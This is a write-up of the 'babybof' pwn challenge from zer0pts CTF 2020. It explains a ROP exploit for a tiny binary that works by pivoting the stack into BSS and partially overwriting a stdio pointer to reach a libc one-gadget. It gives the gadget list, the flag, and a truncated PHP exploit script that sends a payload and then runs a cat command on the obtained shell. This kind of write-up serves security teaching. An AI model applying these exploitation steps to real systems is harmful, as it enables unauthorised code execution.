Rating: 4.5
# babybof - zer0pts CTF 2020 (pwn, 590p, 17 solved)
## Introduction
babybof is a pwn task.
An archive containing a binary, and a libc is provided.
## Reverse engineering
The binary is a `baby` task : it is minimalist.
It only sets up the stream buffers by calling `setbuf` on `stdin`, `stdout` and
`stderr`. It then read 0x200 bytes in a 32-bytes buffer and calls exit.
This yields ROP, but there are only 7 gadgets in total :
```
0x0040043e: call qword [rbp+0x48] ; (1 found)
0x00400498: dec ecx ; ret ; (1 found)
0x00400499: leave ; ret ; (1 found)
0x0040049b: pop r15 ; ret ; (1 found)
0x0040047c: pop rbp ; ret ; (1 found)
0x0040049c: pop rdi ; ret ; (1 found)
0x0040049e: pop rsi ; ret ; (1 found)
```
The binary imports function from the libc, but the global offset table is
read-only.
## Exploitation
While the global offset table is read-only, the pointers to `stdin`, `stdout`
and `stderr` are stored at the beginning of the BSS section, and are writeable.
The idea is to call read multiple times :
1. first to pivot a new stack in the BSS section (for example at BSS +
0x50) and clear the stack for a one-gadget
2. then pivot again, this time before the stream buffers
3. finall, overwrite one of the stream buffers partially and use it as a return
address
The 3 last bytes of a one-shot gadget (libc + 0xF1147) can be used. This result
in an exploit that works once every 4096 times on average.
**Flag**: `zer0pts{b0f_i5_4lw4y5_d4ng3r0u5}`
## Appendices
### pwn.php
```php
#!/usr/bin/php
write($payload);
usleep(5e5);
try {
@$t->write("/bin/cat /home/pwn/*flag*\n");
while($packet = @$t->readLine())
printf("%s\n", $packet);
} catch(TypeError $e) {
exit;
} catch(Exception $e) {
exit;
}
```